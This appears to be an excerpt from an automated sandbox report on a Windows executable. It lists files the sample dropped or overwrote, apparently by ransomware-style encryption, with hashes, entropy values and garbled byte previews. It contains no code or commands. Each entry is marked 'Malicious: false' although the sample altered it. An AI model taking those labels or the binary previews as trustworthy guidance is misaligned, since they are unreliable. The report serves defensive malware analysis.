SHA-512:	8705262F5A10628A087A048035851282FFEB016F70AA467D3FF30FBB403B55F69C16C87E0D58177F7B60258BEAFF7B9BB654FAEC987C048F5BD59ABF0CD32013
Malicious:	false
Preview:	..[WS\|.@O}$...D.4....p%;.q.>..\........+.......f"...'...$.O.d......a1?.Xm..5..\|.:+.8m.j.t.`s:2.X...w=.6O"q3=....8.`6..l.7.......xzm... X.._.`Mq..^"m/..i[.(V.r..c..J.p).<4...4,&Y[...Z.N.../....Jc.o-......y.&q.<.u.....\.......NY.qzt..).....l5..@eo....sp.y.lQ...$.._..d..3..9.....B...&!.W.N.7.8..].Q.W......\!.,.Myg6..%......rl..@<.3......\}.^.M.....]Q......O.....5..Y f...Q..{=...Q....\. E..{.?.#sA.{.fW..`TP...`...9tY.=1.....H...H&1COx.!.......c.....H._.......b..r....e.!I..}....8."..W.k.Z6.`0..!t.....q.?....gf..!&...]..R.!v..........n......y....p..O`..a...........r<.lT..%...b.....9m..lH.'.#...hv".%...W....C.<...U.3..* .}.ud.PYOB..R....}.7....Q.j.M....I.....u.O.s.d.Q...Z.g_..9.[..l.\|..>.M......4..YnN.b...z.Vd.Of.s...]./+...wV.......R-.....+P.2.^;....qd......^.ws...N......-.rT.?..,r...R..w.4..}pfn..~.v...U.g$...\|.b...........d..J.M.-...y..#/....*.0O.O....f.............ix;.1B.....?........?..D.9V..S.+....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698

C:\Users\user\AppData\Local\Temp\{02662522-698F-45B5-959E-0EC7B36298AD}.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.970367334009063
Encrypted:	false
SSDEEP:	96:0Lci2EU1XDLBj9IrXSjrcE+bWes8lMQ6gSX3K/iSBxYXcfki7fJZ6Yj46RLAH+dH:0Lci231xIrCjmZxz61X3GhakkaqYj5ZH
MD5:	685D60984074997BA64145F9330CEA85
SHA1:	3C957E570D0E9A092C893829F2F65E57A40C4BBF
SHA-256:	634666F2FF1030C93AF13E753D6999124BB864C0186AC61EB259B2899318FA98
SHA-512:	FE1AC5744DBC4881479E8F05C853054562EE4AFB6EC74B2BAB20EEE2A339975D47B28FC1D934635AF6E9E81EACEA5B591970C1E9F7AFC3AB2B09149312A07FF1
Malicious:	false
Preview:	.PNG.6....2GI=1W.a%W.]./......E.3.R......`.r...(k....2.w..W...y....%."O.(.....2m.3.5`6;........3.!..e$.\\...M:8;.T..w....Wm^..]...o..(..]..r{...%.v'..#b......C,.<.A2.y;......}r.JTb.......\.L......4..D.=.f...%............-s~EU..7.a+....+.a...00Lk.4.Z..xt..;..m..ID.K.....@.t.xB...V.W...J.ZK=pj../..;..e#..&>.c..g.].9..j...aN.or....-p#.....C.)@.t..Q..b.$~j\|....... ,Y.i-...\I$.Q.1..Ff...}k..0a....@..."......Z.........7.4.<..w..........d]..X{..kt...f....L...e...f..R<.)..7.v.!n..6b.C...n.....Q.H?..9..<.P..'.-S..5`..G<9p..iI.RRS.....5.C{d.8.u.g`.d......FF....t.g.O..t...#l..t.....{..^.....f!.&..j..........$....)..7....3.............&:..-k`f.r~...<....W...._J..>\..y.......[...5U....-...N.5..:d..#c......B.5..>9...B.......t.4.y.t..\|."...zd....~.Qmj1...y.f5-7dO.~.&.3...x.#-..._.A........_uK..6~H$...T....."s(v..N.....\#=X..,...bM....5\.=V..)p..-@'.....~H..~........([).W0.p...[!...^.#....xU......H...\|....x".>.P...[..G.^e..d3uD.......o..b

C:\Users\user\AppData\Local\Temp\{139BFC28-947F-45CC-9DE4-AB0FCAEF6E9F}.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.974889229569461
Encrypted:	false
SSDEEP:	96:AgikY5IfUHpaQJN7/1fLC5Je5pGzVK2Pm6znug2l7EmhY6zoplU5fz2bjQdjGbqK:A/kQ6QpTNRfLC5Y5pGx4lsRqt24dPpKF
MD5:	6BE046431B8337443BF0CF9CC84D5E6F
SHA1:	4824FEAEE5EE3ABF1B5EA2AB24C64E2308B25D9C
SHA-256:	F80C0800E8C855ABB45916382041C5436FDC71EAF74B09BE0865A188D2F5DCA1
SHA-512:	8C2BA35C09FFFFD04146793CCAAD76F1FFB78CE9A2F98C80CF5317CD8F0921EA7F5D2379C006ECD2BD1696816E5828BBFC9A025FACDDD3108A528862C6F44035
Malicious:	false
Preview:	.PNG.f........%.....B....1....}..)'...5./]....Qd..."J.l.]>.q..5.....m7..}...?.....!f...0}..(.&J.G.~......"C......,`..A.Z.mn..IX..v]gq6R.G.\|...?..R.t.nH$r^...%Im.=\|Yd1..s..=V..N,.`.......J;./`Z-q...".k.i.......H_\.{.2.r.kT.9k........vO...Z.Z#../..>..9.(.\|.91.!.g..!.x.G.;..V....M@{9..M.S...j.Z......N.;E.#.-+Z-..yv.5.~.M...k.B.EF..c.%W$.......R.9Od.i.f.1^.M]6O....-Ry.k.....M..._;.#T.....+-1.z;.b3..=......Oy,g....".^...><..8..do..+%.l.3b...{...n.#..~#...K...........4i>.B.$..6...o.Y.3...W....$k.d..>@\|Ic.R.9.j.^eL..P....O...at,M...2.....+......>0..i..Q....z...7,.g....\..y4ri.~...........,.2\|Wn..>?..../.@~.2bC.Y1.]c..\.....N<.O%%..[Hr...Q..OA..!.u.-9{...8M..P....I.Zu.y..B.A..0.'.F.vf.#...z......o.....G..........}..:..kif.("......CG..l....Y...X.u........@c.........e....$...x....%.A....r'.g?}.\|.N.......MxfM.....{.1..:@J.R..FL.'....=J9'g,!..dW.<..d..o1/O.L...2>.,.h_.>...5.._.7..1.\|,bZ0.`.[.].m.\.ma....,:..B...*f.WA;.F=...>E.........

C:\Users\user\AppData\Local\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9752437410711465
Encrypted:	false
SSDEEP:	96:ho9uE5yML+DIIdY5MNj3la7wl3tF6KPUKXortGA81TQ/pAXZnASFKY:hopMRNrjP/o4AAZtKY
MD5:	23E4E7356D87DE5AE4F851EC0420B0D4
SHA1:	8A88308DCB93109D5E7E5B3E1936B4E696D177FF
SHA-256:	5A8330230673144412F621DB2861DD1416976C30543A9CE5C388807F6A1465E6
SHA-512:	7329A5FFCC2B50680564EDB67D989BDDB96CB132F7CECBEB0DDA318F782D9EA5EF355535A9BE330C96290F80DF6A1F6406D5C83DFD6DA8877D1811C7B8630B33
Malicious:	false
Preview:	.PNG.3.{9....{3..Q..Q....nB.TF![O.0......$uhnp.^..l..Y.+..I.'Z....\|B.=_..s..Xo.p../..8.....8/....l)m.A.../..g.'......n.u...>/....}...qV2&.:....!~<O...H#...M\P.....j-......R....8QO#........dD.s..}?...1.0>l.5.H..4(>\..L....e2p...3...\..M....%?.+d..cI.Y2...qrvJ.kr.?.Y.C.}.d,...vP[wQ.....m...1i.-b...JfP.4..>}-\.c7;.F#.2A.{.r.c.O....Z#...7..Na...U.i.....c9.k..;;....N..Y..cad.;.......R.EWQV.D..0..T.j.wP..k.4..0R..S....6!.O._?>/.......r.uqQ...k..w".xX...i...0&ZD4...ofVw" .)..F.q>...>)m...d....hF...\.c~08>..@.._.f.....]x..sx.....yE...........#..D...d...o.u.....z.....q............".`....PU2p..%..t.o2_j.\|.-m...?3."...#....._.lJ.....v.?...BJ$./......oK9A.c.`...,...@YX."J...:..}#..x...M....C......_c.ehH.M2....O..B6.`.h.>Ho<....!.*.L..P..."......b..%V.~...w....zx.......9Gb.....p$.W}.X~3..G.]..R)E...2g....F.hAt....r.P;....\|\n.....u............f...y..z....n:...[....i...4B]4..U.....k...Y.s.;. Z=\..P..7t; .k3...~.c@xz.1.l.-.....e..W.~.y.7!..b.c)...E:.T

C:\Users\user\AppData\Local\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9670062231440335
Encrypted:	false
SSDEEP:	96:3TzhzFgC/HKE7oKQ/PTxH8vpMP8USFtjUYxdCCcBrlNCqBZRH/QPR8P/5qKAy5Il:DNQEePTyvaP4Ftj/xYJlAg/m3KA3
MD5:	7F336CA43CA0096341636C43F256EE63
SHA1:	161592C2911FFDE3383D3F589A80D3DFAC279941
SHA-256:	92EC63C41A4D450915878A82018BDA52990BEA2B401C4BC8B3A4840AF2DC45C2
SHA-512:	C46DAF274627AECBD7C4BD460F0970889C3A550793CA4C91DBCF983011310C96AE8CE108A169396DD278BD8DF04F5C122658F36DB9CBFBAFAFC7C47E3799CD84
Malicious:	false
Preview:	.PNG.Y...].[=vv.u .].tG...Kd[`H)..j....]e.V>) x.\..l.vJuY..0....1h.Q.dK..q..."......^..}.Z..'..^{o.D.4....3...U.S.0.x...rvPJ..x...uN...J.V.?..Cv..t.X@ik..j......)....c..6...R._.S...U!....1?k.I.y.t.iZ.R.t!.......al....nMw..4.....7C.N....t.F....c...^./4w#V...M....>.@L......a.?N.....(..Og.....-.1.mH.f.v.`.~...rNLMQ.=.?f..da..+d!...KY....P.c......2'.{.~.P.U...R[....g...W^.Tw.....o;p_...ypH.. ...J.............wG$.mb%.&.V0...D.!...s..Mj.s..NO..+...57.R.6....".r..'....G..I t...~.c..B8$.#v...O.D.......j@<......w....1.._k.O....Fa........(;$v...vB+...92.~...-..8...]......%`z.....=E.j....n.jY.E&+r,..>.3[m........{....+..8.$.f@aT..Jz..`..y$.$W..Dw...3.&."?v..[..xf.'$....l..%..x`...74.H8...:......w./..V...FN..@k..L.I.M..9.B...u.W...Mm.9\|w....r.....&^.P0 .:Iz.Z..6.m...9`....M.&..@..... ..'.'.\v.B[,..Z....4[[..d0X .;`8..?..=Z[."i..KW<...f..4.M`..iU.G=....&^G.a.......S~s..].......}......C...b..(..7.....^.x.,xXh...'.W......qr.Li.u.d.%U...Y..(

C:\Users\user\AppData\Roaming\.curlrc

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.197239313309138
Encrypted:	false
SSDEEP:	6:KWPdusPRcgS57l6J0fbEkeblQ1HfB/WX62B9LlPubQpN8RgOsVolWbz6Wcii96Z:NPdusPDSllqmgkebSHfVvEL00pN8636Q
MD5:	FE5F20192247F7DCF6F2C8B898BFEEC7
SHA1:	BDCBCE1A088BAFFCDFE904A3FD03308B6F1E647E
SHA-256:	16EFDBEF3FAD102D899F856BB2EEE4073173AEBD5AD85A0F7BE5F9A523AC43F8
SHA-512:	B900B89AA229EB924013927CB861A893653D3EE52210081D14ABEFEAA2154DBEFBF88FDEE68EAE764777C4DC62BC8B5E7A090E0F46A6BE900BB74EAA69DBE2C7
Malicious:	false
Preview:	inseczV%I......2-.z`Yp.Gd.._M....>.I.F.......[.....W.U8^ ..)..Ouk.7VOn..=.....5Z..tz)..T.z.w...G..\|q.`[..nH0...C.I!o..5..F5..+....W.a....&.>......I..u.Yi.y..X)...6W.f.,.f3G3.v.z.`X.....=....Z'..F7.......L.eOP.+=.i...r...a.....u....%+.......X...h.S..6...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.314638802885359
Encrypted:	false
SSDEEP:	6:HITnB1e2ruKa2BFjKPVOpCm4KRLgqeohE/sKaAFb2iCwookZbUBBOsVolWbz6Wcq:HITB1vvjKPVOpC9KRLveJs5AlhYY36WX
MD5:	2DE963B62A6D3D7DCE0146468E58F670
SHA1:	5A1C7C3AE0B71ABB80D9B05647CB992B3B09FCE5
SHA-256:	C0E8E3C936C64D14F98B340908B82B26B4519C2F591BD5F4D92AEBC6C519F9F6
SHA-512:	C66BE221050E28AB579386341061187D4A35E4BD36920DF182F792BE6A19D4C73E841085C2154CA118A5A702ADCDE60DC32AC5B80156A06F4330C3A78CD193DC
Malicious:	false
Preview:	%PDFT.....'v.?..D..a-0..=.....Lt.#4.#.J.....@......Ws]..i....9.....h....).R.< z...A...]..H..w.t../....^.....\|A.\...b8v..c.r.R.v..]...K.9...._8:.$2..m..&....k.2U...X..;..t.E..^.i.QeI...q.Bm...t.Kg....Q.h....J.K).U..88D.L:z......d.!.....q....9.C....Z0...~.E.....g.....=.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.338734269020805
Encrypted:	false
SSDEEP:	12:c6Jm5dBSEcPymKGPkBKvrAviplvFvn36Wcii9a:c6BYGPfvc41Fv3zbD
MD5:	B4C916844A666F51584A182FDBFCDD8C
SHA1:	5728D298F08A025AEEFACFA9BCD2AF7D7839DE0F
SHA-256:	9B785008285205F6AC674B0BC221DAF3E9EFE9CEAE80FDF0FE9A5AA42FF14B7E
SHA-512:	B3CDA07527BBD005C97BC9231A2689C51C4BEE26B93FA0A217137A4ABC35A64AD8379D3483713E92312F814730E02E1E6AE842D94055243174427E2F251CD641
Malicious:	false
Preview:	%PDFT.1.@".V.k.......!.....Tv.i.@..G,U.B....D\..&%K...&U...c..&qT0.W..C.<k...3.R..9)...O-_"..G.ENQ..Z..A.sD.;a..kq.0.........q..&..(Eo._..5.C.E....Z...V..ljz.K.d...w..O...5X.(.;..y....&.._n.8 :.\|..C..p...u..:i^.N.....q.@..D.#..O...j0^h*.]~t.r/.....5.%Z..s%...A^.".6...Z.q.....W..Fi.XZ..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.310377317606623
Encrypted:	false
SSDEEP:	6:QId8UVk+8mi69e7lNdMoQ6VlJchEi6DkbmmwqKapW2YP4vhfOsVolWbz6Wcii96Z:Qk8UVkUDUdM9O6V6o6myap6P4L36WciD
MD5:	EDB10E88C56DEE33545E001A4979ACB8
SHA1:	92AD6BC26CCBBA4B8683156596219F3D958B69AA
SHA-256:	8A3E9D8A3CD87725F287B241726789F2FEB18F22750C1BE459D5EA619280C931
SHA-512:	6E011AEE85EE1E645261BD6E27A562F93017E5FD78FDF5DDC6B25DC65D0B906727B521E45A140CBD2498FBC1DB8C582FD8581D063C1A53294CA637DD4E17F7C4
Malicious:	false
Preview:	..j.o..M.cp..r4.....7...Z..-.u.RV.5..W.......i..^.........,.."t.*oZ.L..:...'.Vnv.......d....+.D.....W/.>....\........8...$...7....'...7b&dVv..]..%....m8./..[..y....kL.j]....$.....}.B.@.....hk\|.[D~...Q.9....br}..O..?.?..$ .+.+3.4....p.3-.<..~].:.....QC.H%....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.853901167304931
Encrypted:	false
SSDEEP:	24:sKBkS/rJ3meFY7chGSWA1C3S00ZuGFtj/+xwwADHa837yBRcCWpAiBtddIHS43zX:sKGS/dmePwG1CCNIm/+xdey3cCfiBb6b
MD5:	EA636DFF8825A73AA6DDCC2DA795094B
SHA1:	C4DCA9C03A46AB9F42D0C4624FC7EF672A08C297
SHA-256:	93E52A7766711F1D5F005C27F1488A8C11EBC13A8DA0F7E808CC9AE4C82898F4
SHA-512:	65FDA0CD6C62B2E3D8CA7A3457EB073FA14CF9FDE134BBE2EE6A83725A0F1D91B9EDCE2DD9AF59C3507E1202861391C8FE0A72EC5435658802294670232A5A3D
Malicious:	false
Preview:	<?xml._U.k%.....w...Q.g.Q..U.#.3........y..7..b.o(m.Fm..[..0.....-g$.....o..N..M....b..&.o3K.C..s.^.j?./..>...B.j.2..RP.b-~..T...<j.L..+t..........]h..&Sm{<.<....o.... ...\...<.....Z....#Vj.&a....pI...#.....LZcM..Qm>..m....Q....1.......I..D....w?PYH.....G...$..DK+....L.W.._.7.q.R.....S8m.....1.k...B...7.Z]P..! fG7..L...OT..aX...gw..\U...?..4.%...}h...#..IQw.!.#k6.$'.......E.<a.. ..p.....q.oPiBa\|C..e..o.rl..e..aa2.77F.5X.i...?YOc9".<....i..........Q3i..(.1?IV..:..b.....>...D-#...\|.q_.=.3..D..j...n..j...jD....<+..9D.A.Mrr:jv4.6.^..Q.Xw..A.ui....i...L..1.J...b...g...z9>e...w..b.....}.D....\..(....+."c....9+%.....s....$Ij;Q.L...R.........0.Iwp..0..G}6..:q5...~9......q....c.......v.n~."....}..zl....;.u/...M...I+c.m.]Y....>..'.vB.5....n.h.q...V..w,. ...C0..0../.]:.f.`..U...[...\|.U..%.r..w9G....nZ..w..tg...;u4.Q... (..v............W.u..F......<...V.:...\|...^...>..h..:.L.YkOw...!...g.s=gU..6..-U?o......g.R....U.kK.s..5N....B..n.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.915127372618805
Encrypted:	false
SSDEEP:	48:KP3NrXyfd9knexL6yfgoBOFghaOCyRLTei6zTm0RiynhfLVGN0I3nD:E7y3LL6Qzd976zTm0UyhfRTi
MD5:	42B5B10792E1CD9F4A259C4AC25C45D4
SHA1:	522E0A9A8DD9C170D7C0080B96686145BC92EB40
SHA-256:	002C9F2CCA197B725532588913B5046BFF0E1402F55DCEF5B164BF63DC94E344
SHA-512:	93C771B950A1A5C9740B7D8257B0714532F440F9F1568C237F3F5F5BB5E85E5263E6D12CAE13A7ED7AE4E167251B76222068560BF526EE226B3B438D448B3F6D
Malicious:	false
Preview:	<?xml....}&..<.S.u.rk..\|...._.T.h...!m...Zw......Q`Y...99J.L..ta..(..9.;A..3...Y&.XX.Q...$..........i.}Vn#....~....Z..Ur....;cg..........Y.\|eU.xK.J6.d.;...`.."..c..y0X.gk..?%.!.n...?-..nZ..7.......V.>.&.{.U....6......R...8.{i^.rZ{....?J.(RMo..6\.~p.....9..r..Tca._../.Twq...q.[..0.Qo.F[2...@.>J%...1X.p....).8!..U<..Nl..B..p\5.\.I.H.8V._&Ik.k.7.{...!...EW..B.H.S8z.O.I\;....!....k...8=..@C.k..Eb;B.O..~i.i.04.7(9.z.5.'!]....Zq..V,.!...F.....].........;<...&..O..0.Fs......"4`.E(.C.....C.....$..((t.<..!."...;.7..@.....a..q.G.A...-.....X......j.Z.^...."..8...H..Y].w".\|eH.....X...;..W.\|.`(..\|._..!.u#T.H...\..\%Z{...U\....S.&..q6Er.~.Z........e..8!/l^.C..1.Su.Wp.y..=v...T.XW9...n...L}5a..,..`....9.........1..?.R..%)c/..^.}7.[..LE.{..g...P;.\....].x?F./.m.<...%....7.{%...k.. ....G.....)o^3.l..3r."+R.....J.c...t.7..EU59..../.x}...%.WS.C.8.....]-#..r..4..[q..r5.jlg.Wh....^e..,..,..\.....ld4..d..7...JDI.X&..=J.~GB.p..*m.?.....n.4?].}64.O,s...Im~V-n

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.925780055215895
Encrypted:	false
SSDEEP:	48:Sm3ryrcuRHIsV5OwmRo7ATvY9yWcwZRyaNySh9A3nD:BryrcuRHdl7ATvY9H9RyN
MD5:	9C78CECCC5A520FE33BAD652875FD74C
SHA1:	F8FFF7561E3CEC7BD04182CE2826AD93949AE749
SHA-256:	52A57C14CE65F31A370557D69CD28A4380DCDD0CB622F3BC59013042E5E7248E
SHA-512:	E841D872DC62F4E5828B774AFDE08E78B3DD759E0A190FF7F3AC17D7E825D6C9D8810D35D5568E1E0369C4092D8CF222A0763618CF6EA00D78E7F8482EA39DA6
Malicious:	false
Preview:	<?xml!..4...=C...j.........9.....8..]8.]...".Y'?....J....Y..l/.T-.n........a)R.....q..[..5'8#...H.-B.....=;fp.W.nrUD-D....G...R.:.R'p...I..Z....5D.R.....)`..z.em......T....D.......Y.:J..n......r.jj.....$.;.0~....i;....8..........d.....k+W..&..+..D..<....q..y...9'j.5k..#......p.a....p.......C....$.............bB.....2N...(.<V'Cmm.$.B..z+4.Z.....^...w...NdRs..f...(..<.i!....Q{1g`..6....@%.-x.\(.....j/s.T.'......{..R......~.;......O...4..4M..d<...J...&FL.....F.>.L.uM.........w..)K.-G.....!........b..&.tr`...>..@..,..,0..a...w<.YA...`e?..q&....wW..`..[/.........l..e."F..e....M...G"......BR.>....H....$..y...D.X.u...a.....@..b..C;....b8....Tr.@..n._.h....G.9..Y....z6m....>D.D...b$.&...5.....C.X..U.9.....k2..y..s...~..Y..,d."7...T..;z.+..P<g.....Y/..0,Jt.....3./r..ug...k....u.L.2.B.(..7....hZ....'..}....H...v....\|3.M.<M.6U...7U....R#'..!J.]..c.Dd@E1.5..2..#.~.X..k...+T..}L..=...K....Z"~.\1G..3..D.GYG..4.+WiJZ5J..j;^.1.......4..9.u...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.913631451774621
Encrypted:	false
SSDEEP:	48:jUwWmExV3BPllfPvhuryrz65MUvlzmyhlwk7mYnDO4bI271nFZ2xnlj9D3nD:jUVx3Pnaya5TdzmMykHnpE27YljV
MD5:	2577DD03C560F7C6BD7BDC88B5D76A16
SHA1:	527030A9596321575C6067DB96CA43713C8EB613
SHA-256:	C3106C57921C8DBEC0E5FDBD85476DBFC9E6B6C865B7298ABD7E1C02F8EBE3DA
SHA-512:	74C76DF30BF7808456731020B19133FC74743ED88A5EDE230172FABCD5F3174219621B1C43B5D6E90328F8E75D67E3B58962B99030B3A5134E1696FED96D61DF
Malicious:	false
Preview:	<?xml...p..S.F.r.VQ..l.y..O2b.vgJ..a...r......z....q...GX.Bh.k.Q.".=...VQ5j.LO..H;H.E.....L..M.H..[7...'...k..l..q.C.}7gy.......}.6.G..............T.IG\|..8.....y.C..`.@5.2.8J.IS>........G...G...`~{.5.7.s........K-!....N....=.... }{j%....Q..#..g......8....<R%4...B.........s>'>..$1..D..,>.!.9ej.zb.`...5.D..;_.../....=.t.;....i.......@..Tb...5A;..I..N....+8..]q.;g.....7.....l. ..4D.....W2...D.&.....S7\|d.OoL..d@....>e...{..&O..N...b..../'^-..Lk5w".o.i.1.j......0...RFa.{.....W...O....tnr...cvV..u4I .2..Is~1...d&P..%..a.H.,.N7t..n......"......H..T..?.2Y.f.&I.bI.......Yo.b....A......&.$."....;...1.\|?5,..+\|u...O...6....f.]..\gZ.w..M.+...,..7.....6......!Bc...f.U....!tn...@.@..;...]. ....:..L-../..3$....C\|00.V..\|(J...?..! ...J......8.o.M-Ge....N$X......](@..s67o...iw........w.j&s..%..r......i....\0P...m2.N._A.r4.5.F.G.[.Y..(b..?2'...wu...5..d.(l.C)....D.&.FS.9Il.L&..Xam".8.Dd.5.4..~z...K-*..i.3F!.3QB...26...5T....K{.:...'t.0.d.&x.r....u.v./....K..+.sDS....t.K.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.829996201443019
Encrypted:	false
SSDEEP:	24:mn9VWa0dItZv/hPKx5To+Eu4CpVyDhRLXu2WdolblgbF93zbD:m9VDBjv8nEujeXuilb+33nD
MD5:	E524667A92888D87FF89D986DEA4865B
SHA1:	FF02B0BDB2EB9937D789CA8E8689A44C7F27ABD0
SHA-256:	31F27498B4183C67664E2A0198A6FBB8FC6E765265D601713046E19A56D6CCB6
SHA-512:	294CC12BD46E06E9AB2FD721DB1A062A2682FF1E358F2ED5BAE2D514A6570DEB430F6414A5B4C0A68BEEED8A92DC66CA18093EE900311AD4D0350CEA6F78F144
Malicious:	false
Preview:	<?xml.3..omj]......{.....N{..!..(...z.w(S.j..?...../..."..m<$..`...k..K..O..L.fl..b........l"..Z@.>...._."...m&.!.c.}.*f..A.EVn$.u..@..G.G...t.^N.p..k..5ZQ%\|-...w....J.g..Tj..^....._F......4#..`..[.;....\|d.<t..H-!=8ox?G)+.\|....b6.....f0}..t>..H.6.U...PQ....t.../.:.....bH.x.khY......@....Y.B.u..P4.......b.7J.^..r..f.E...6.A".0E.}......#H...'F/.q...............4Z.2l..d..<...;.........Q.....u9%....c1.......+...u.%..O...Mf.Xh.XB...(.?....=Y.\|.h.Y..C.%.y...PL.L....C..j.Z.Q....Vg.3W....z!)....R..K.1{P..>?....I....o.bc......f...Ga.apw.....l.8...U..2......K..Ts.\8. ...\|......8..1....4\|.^...........rF.mT.{.8V>.t....g......Dq].)..U.0...J.3#..B..^....f..)..%2Im..\|...+..AX...u..0.....3...+A..v..^.[U.....`....t..........8LO.. Z.+.[.....kC..>R..-.0` J..Q...@.mj.(8....`.l\|,AG.(>w.S.......ukt.5....k.....",Yy...>.L1s..C.B9..;...^...f<m..3.#..>...M.0.........5i.....>h.....D9.1R.#........0B...Y......(?.nFV...Z9...@...P.......6[.....d.w.3.X..,...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.906088841519425
Encrypted:	false
SSDEEP:	48:PtOmUP7sSGCPwLq0b6k6uOl/RizQyaR0cl9iv8ENXjbSM22tmVRhb3UgDxO3nD:MmUASILAk6uOxEz1c3lcv8ENXjzeVDxg
MD5:	30DB44186FC7F61F5E5A1813E6BFC527
SHA1:	32D4F21A1FAE3F8E31DCFFE44BAE3EC0066BA57D
SHA-256:	F8EA9FD781E02454BAA112227DB85B5D35631F825461338EC5EACFC728CA0597
SHA-512:	A4F2B372A655BCBDDF5D4209CAF5CB010D952A5AB8E89043E3A0BCDF00D7D824487C246B7DB48E47C6C2B34395832936A656C785C1E6439DEB070A09086480EB
Malicious:	false
Preview:	<?xml.v...p......~.....\|...U\.....o.T....p;..nnQ.....y...4....2.L..GFU.C.T4.mf.^/.b.9p.I.zo.@.a..o..Dv5.@vy.O.3z\|.(.j..P~.{.!..........'{O.#....'..=...,.../..e,.....'RO..`..W..E.....)..:.....Z..BW....C..A..Iy[t..!.(..fx.1....S+.....W..."\|>.7>.!p.....GI..Tc=.... ..{Yi.V.P..^.\|.......gD.$.Ye.... ..G\q6.\|5.QEw.7.:...-...S.t...`t..u.v.TD..s....8tI.=!.f..d.uT.k%.<......^B.H..xD.S(..{ku.,.....)......9.#(yD.P..u...h..J..F..k].'.zBVEuw.ND......3.}-S..../..mk..`MGb!:.......WT.J......h..~gv.9..H........"PW`."\..N...B.K.a..He...;.[.tp#.(\Xi.\|.....n.&..o.9[.6.[.om...,..7N...........X.x..G ..l.....x:P..T#.(.&}.q.d...d....D8..!8.M.....@.6...Pa...6T.....l..D./.qG.W.<......hS2.E[.... K.r..\EI..(.&..........q^.W\.....~...<...i..qEi`._.[.o..\.f.........vK...9..0.6E]-.K.u..u.~..-.........L.[..-....-i..f9x.K..P.1$v....",...`$.......Hz.(.Y.......0z............7H.s....!W......5 %V..=.........`..qi.N`..\-."`i...@....g... dFE..;.......A.D.G...Ou..e..@.1...v$

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843970785210683
Encrypted:	false
